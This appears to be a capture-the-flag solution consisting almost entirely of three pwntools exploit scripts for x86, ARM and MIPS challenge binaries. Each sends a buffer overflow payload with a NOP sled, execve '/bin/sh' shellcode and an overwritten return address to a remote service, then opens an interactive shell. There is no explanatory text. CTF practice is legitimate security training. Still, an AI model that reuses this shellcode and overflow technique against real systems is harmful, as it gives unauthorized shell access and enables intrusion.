Rating: 0

x86:
```
from pwn import *

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

#p = process("./chall")
p = remote('52.30.206.11', 7000)
b = ELF("./chall")

"""
gdb.attach(p, '''
break *pwn+0x6d
''')
"""

p.recv(1024)
p.sendline('1')

payload = "\x90"*0x1b0 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
payload += "\x90"*(0x1f8-len(payload))
payload += p32(0xffffd008)
p.sendline(payload)
p.interactive()
```

ARM:
```
from pwn import *

p = remote('52.30.206.11', 7001)

p.recv(1024)
p.sendline('1')

shellcode = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68"

payload = "\x00\xbf"*(0x1b0/2) + shellcode
payload += "\x00\xbf"*((0x1f8-len(payload))/2)
payload += p32(0xf2d07608)
p.sendline(payload)
p.interactive()
```

MIPS:

```
from pwn import *
import keystone

p = remote('52.30.206.11', 7002)
p.recv(1024)
p.sendline('1')

s = '''
slti $a2, $zero, -1
li $t7, 0x2f2f6269
sw $t7, -12($sp)
li $t6, 0x6e2f7368
sw $t6, -8($sp)
sw $zero, -4($sp)
la $a0, -12($sp)
slti $a1, $zero, -1
li $v0, 4011
syscall 0x40404
'''

arch, mode, endian = keystone.KS_ARCH_MIPS, keystone.KS_MODE_MIPS32, keystone.KS_MODE_BIG_ENDIAN
ks = keystone.Ks(arch, mode | endian)
sc,y = ks.asm(s)
sc = "".join([chr(x) for x in sc])
log.info("Shellcode" + sc)

payload = p32(0)*(0x100/4) + sc
payload += "P"*(0x1fc-len(payload))
payload += "X"*8

p.sendline(payload)
p.interactive()
```